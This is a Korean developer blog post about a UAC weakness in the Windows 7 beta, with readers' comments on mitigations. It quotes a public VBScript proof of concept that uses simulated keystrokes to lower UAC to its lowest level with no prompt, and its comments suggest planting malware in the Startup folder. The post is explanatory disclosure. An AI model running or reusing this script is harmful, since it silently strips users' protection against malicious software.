Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 19939
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 31  32  33  34  35  [36]  37  38  39  40  41  42  43  44  45  ...
NoWriterDateCnt.TitleFile(s)
12915정성태1/11/20228967오류 유형: 783. Visual Studio - We didn't find any interpreters
12914정성태1/11/202211561VS.NET IDE: 172. 비주얼 스튜디오 2022의 파이선 개발 환경 지원
12913정성태1/11/202212166.NET Framework: 1133. C# - byte * (바이트 포인터)를 FileStream으로 쓰는 방법 [1]
12912정성태1/11/202212750개발 환경 구성: 623. ffmpeg.exe를 사용해 비디오 파일의 이미지를 PGM(Portable Gray Map) 파일 포맷으로 출력하는 방법 [1]
12911정성태1/11/20229385VS.NET IDE: 171. 비주얼 스튜디오 - 더 이상 만들 수 없는 "ASP.NET Core 3.1 Web Application (.NET Framework)" 프로젝트
12910정성태1/10/202210233제니퍼 .NET: 30. 제니퍼 닷넷 적용 사례 (8) - CPU high와 DB 쿼리 성능에 문제가 함께 있는 사이트
12909정성태1/10/202211437오류 유형: 782. Visual Studio 2022 설치 시 "Couldn't install Microsoft.VisualCpp.Redist.14.Latest"
12908정성태1/10/20229061.NET Framework: 1132. C# - ref/out 매개변수의 IL 코드 처리
12907정성태1/9/202210014오류 유형: 781. (youtube-dl.exe) 실행 시 "This app can't run on your PC" / "Access is denied." 오류 발생
12906정성태1/9/202210758.NET Framework: 1131. C# - 네임스페이스까지 동일한 타입을 2개의 DLL에서 제공하는 경우 충돌을 우회하는 방법 [1]파일 다운로드1
12905정성태1/8/202210227오류 유형: 780. Could not load file or assembly 'Microsoft.VisualStudio.TextTemplating.VSHost.15.0, Version=16.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies.
12904정성태1/8/202212347개발 환경 구성: 623. Visual Studio 2022 빌드 환경을 위한 github Actions 설정 [1]
12903정성태1/7/202210970.NET Framework: 1130. C# - ELEMENT_TYPE_INTERNAL 유형의 사용 예
12902정성태1/7/202211119오류 유형: 779. SQL 서버 로그인 에러 - provider: Shared Memory Provider, error: 0 - No process is on the other end of the pipe.
12901정성태1/5/202211178오류 유형: 778. C# - .NET 5+에서 warning CA1416: This call site is reachable on all platforms. '...' is only supported on: 'windows' 경고 발생
12900정성태1/5/202212816개발 환경 구성: 622. vcpkg로 ffmpeg를 빌드하는 경우 생성될 구성 요소 제어하는 방법
12899정성태1/3/202212366개발 환경 구성: 621. windbg에서 python 스크립트 실행하는 방법 - pykd (2)
12898정성태1/2/202213108.NET Framework: 1129. C# - ffmpeg(FFmpeg.AutoGen)를 이용한 비디오 인코딩 예제(encode_video.c) [1]파일 다운로드1
12897정성태1/2/202211573.NET Framework: 1128. C# - 화면 캡처한 이미지를 ffmpeg(FFmpeg.AutoGen)로 동영상 처리 [4]파일 다운로드1
12896정성태1/1/202215260.NET Framework: 1127. C# - FFmpeg.AutoGen 라이브러리를 이용한 기본 프로젝트 구성파일 다운로드1
12895정성태12/31/202113132.NET Framework: 1126. C# - snagit처럼 화면 캡처를 연속으로 수행해 동영상 제작 [1]파일 다운로드1
12894정성태12/30/202110951.NET Framework: 1125. C# - DefaultObjectPool<T>의 IDisposable 개체에 대한 풀링 문제 [3]파일 다운로드1
12893정성태12/27/202112699.NET Framework: 1124. C# - .NET Platform Extension의 ObjectPool<T> 사용법 소개파일 다운로드1
12892정성태12/26/202110314기타: 83. unsigned 형의 이전 값이 최댓값을 넘어 0을 지난 경우, 값의 차이를 계산하는 방법
12891정성태12/23/202110214스크립트: 38. 파이썬 - uwsgi의 --master 옵션
12890정성태12/23/202110568VC++: 152. Golang - (문자가 아닌) 바이트 위치를 반환하는 strings.IndexRune 함수
... 31  32  33  34  35  [36]  37  38  39  40  41  42  43  44  45  ...